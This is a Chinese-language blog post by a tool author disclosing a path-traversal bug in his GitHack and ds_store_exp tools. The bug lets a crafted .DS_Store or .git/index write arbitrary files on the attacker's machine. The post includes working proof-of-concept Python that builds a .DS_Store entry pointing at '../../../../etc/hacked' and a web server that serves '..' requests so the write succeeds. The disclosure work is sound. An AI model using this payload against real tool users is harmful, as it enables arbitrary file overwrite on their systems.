前些日子,一个名叫Justin Steven的安全研究人员,向我报告了一个漏洞。他提到,Git信息泄露利用工具GitHack在解析.git/index写入文件的时候,没有检查路径是否非法,导致有意图的攻击者,可以构造恶意的文件路径和文件内容,达到任意文件写入的效果。最终可能实现:"反黑那个试图攻击你的黑客"。随后,我添加了几行检查路径的代码,修复了这个问题。见:
https://github.com/lijiejie/GitHack/commit/a3d70b19f29d2f624dcae17762022edf7464cee1
这个漏洞的出现,是因为攻击者可以修改文件路径,添加类似".."跨目录字符,实现穿越到任意路径。那么,问题来了,之前自己写的信息泄露利用工具不止一个。其他工具也会处理文件名/路径,是不是也有类似的问题呢?经过简单的验证,确实发现了问题。这里,我的测试项目是 https://github.com/lijiejie/ds\_store\_exp
.DS_Store和ds_store_exp
.DS_Store是Mac OS保存文件夹自定义属性的隐藏文件,保存了一些基本信息,例如,文件的图标信息。如果开发运维将.DS_Store上传到web站点,被攻击者下载,黑客通过解析.DS_Store,可以得到该文件夹下的文件清单。它的效果基本等同于 "服务器开启目录浏览" 。
ds_store_exp是对应的利用工具,它下载解析.DS_Store,并且尝试遍历下载所有文件到本地。
构造生成.DS_Store文件
这一步相对难度较高,直接去分析文件结构不现实。思路2种:
第一种,是直接去找一个现成的.DS_Store,通过二进制文档编辑器直接编辑字符串。这里我打开一个看一眼
excelTemplate是我已知的路径,在这里,可以观察到每个字符占2个byte。经过查阅文档,这里是utf-16编码的。
https://metacpan.org/dist/Mac-Finder-DSStore/view/DSStoreFormat.pod#Records
当然可以编辑,不过很费劲,因为,必须得是big-endian UTF-16编码,而且长度不能变。前面你还有个字段是长度,得改长度。
第二种方法,看看能不能现成的lib构造一个文件。在参考
https://github.com/al45tair/ds\_store
代码实现后,我构造创建了一个带非法路径的文件
`from ds_store import DSStore, DSStoreEntry``from ds_store.store import ILocCodec`` `` ``d = DSStore.open('.DS_Store', 'w+')``new_entry = DSStoreEntry('../../../../../../../../etc/hacked', b'Iloc', ILocCodec, value=(282, 104))``d.insert(new_entry)``d.flush()``d.close()`
验证漏洞
现在将这个"带攻击意图" 的.DS_Store放到web目录下,使用ds_store_exp工具验证是否触发
`git clone https://github.com/lijiejie/ds_store_exp.git``# 切换到漏洞版本,是的,我已经提交了修复后的代码``git checkout 784eada6cd08739032b7fdc124a8c93abcb0c2f7``pip2 install ds_store`
尝试执行,会发现确实工具请求了非法的路径,但是新的问题也出现了
注意到,因为常见的web server在接收到 .. 这样的invalid path后,会返回400。所以,这个问题被利用的可能性会更低一些。工具只有在返回200的时候才会写入文件。
为了验证利用效果,这里再写一个web server吧 ... 还好,在Python的世界,应该是20行代码的事情。
`import http.server``import socketserver`` `` ``class MyHandler(http.server.SimpleHTTPRequestHandler):` `def do_GET(self):` `if self.requestline.find('..') < 0:` `return super(MyHandler, self).do_GET()` `else:` `self.send_response(200)` `self.send_header("Content-type", "plain/text")` `self.end_headers()` `self.wfile.write(b"hacked, man")`` `` ``httpd = socketserver.TCPServer(("", 8001), MyHandler)``httpd.serve_forever()`
启动web服务,再次验证
如上图所示, 观察到 /etc/hacked已经写入成功了。
至此,通过分析自己的小工具,成功"黑掉了自己"。 :)
写在最后
本文介绍了分析构造带攻击意图的.DS_Store文件、并且利用任意文件写入漏洞的思路和方法。漏洞的利用需要一定条件,比如,这里web服务器需要能够处理非法的path ../../../../../../../../etc/hacked
漏洞修复的代码已经提交, 之前下载过的同学可以git pull更新一下代码。